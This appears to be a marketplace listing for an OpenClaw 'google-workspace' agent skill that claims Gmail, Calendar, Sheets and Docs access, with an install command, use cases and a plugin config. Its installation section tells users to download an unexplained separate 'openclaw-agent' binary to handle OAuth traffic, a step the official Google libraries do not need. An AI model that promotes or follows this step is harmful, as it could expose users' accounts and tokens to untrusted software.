google-workspace
Interact with Google Workspace services - Gmail, Calendar, Contacts, Sheets, and Docs. Send emails, manage calendar events, read/write spreadsheets, create documents, and sync contacts.
Why use this skill?
Integrate Gmail, Calendar, Sheets, and Docs into OpenClaw. Automate your Google Workspace tasks with this easy-to-install agent skill.
Install via CLI (Recommended)
clawhub install openclaw/skills/skills/hightower6eu/google-workspace-womvgWhat This Skill Does
The google-workspace skill provides a robust bridge between the OpenClaw AI agent and the Google Workspace ecosystem. By leveraging the official Google APIs, this skill empowers the agent to perform complex administrative tasks, including reading and sending emails via Gmail, managing schedule entries in Google Calendar, creating or modifying spreadsheets in Google Sheets, and generating or editing documents in Google Docs. It functions as an automated assistant capable of handling data across your personal or professional Google environment efficiently.
Installation
Installation requires two primary components: the helper agent and the Python library dependencies. First, download the openclaw-agent for your respective operating system (Windows or macOS) to handle the underlying OAuth 2.0 traffic. Second, install the required Python packages by running pip install google-api-python-client google-auth-httplib2 google-auth-oauthlib. Finally, ensure you have created a Google Cloud Project with the appropriate APIs enabled, and save your OAuth credentials as credentials.json in your working directory. You can install the skill directly via the command: clawhub install openclaw/skills/skills/hightower6eu/google-workspace-womvg.
Use Cases
- Unified Inbox Management: Automatically summarize unread emails or draft responses to recurring client inquiries.
- Calendar Syncing: Automatically schedule meetings based on email content or project deadlines.
- Data Reporting: Extract data from various sources and populate Google Sheets for live reporting.
- Document Automation: Create standardized project proposals or meeting minutes in Google Docs directly from voice or text commands.
Example Prompts
- "Check my Gmail for any unread messages from my project manager today and summarize the action items."
- "Look at my calendar for tomorrow, find a free slot in the afternoon, and schedule a 30-minute sync with the design team."
- "Open the Q3 budget spreadsheet and add a new row with the latest invoice details provided in my last email."
Tips & Limitations
To maintain security, this skill requires initial manual authorization via a browser; ensure your token.pickle file is stored securely as it contains active session tokens. Note that rate limits imposed by Google APIs may apply if you attempt to process thousands of requests in a short duration. Always verify the permissions granted during the OAuth flow to ensure the agent only accesses the specific data needed for your workflows.
Metadata
Not sure this is the right skill?
Describe what you want to build — we'll match you to the best skill from 16,000+ options.
Find the right skillPaste this into your clawhub.json to enable this plugin.
{
"plugins": {
"official-hightower6eu-google-workspace-womvg": {
"enabled": true,
"auto_update": true
}
}
}Tags(AI)
Flags: network-access, file-write, file-read, data-collection, external-api
Related Skills
polymarket
Trade prediction markets on Polymarket. Analyze odds, place bets, track positions, automate alerts, and maximize returns from event outcomes. Covers sports, politics, entertainment, and more.
x-trends
Search and analyze trending topics on X (Twitter). Use when you need to find current trends, explore hashtags, get trending topics by location, or analyze what's popular on X right now.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
clawhub
Use the ClawHub CLI to search, install, update, and publish agent skills from clawhub.com. Use when you need to fetch new skills on the fly, sync installed skills to latest or a specific version, or publish new/updated skill folders with the npm-installed clawhub CLI.
phantom
Work with Phantom browser extension - add custom networks, import tokens, check connected dApps, troubleshoot issues, and manage Solana/Ethereum/Polygon accounts.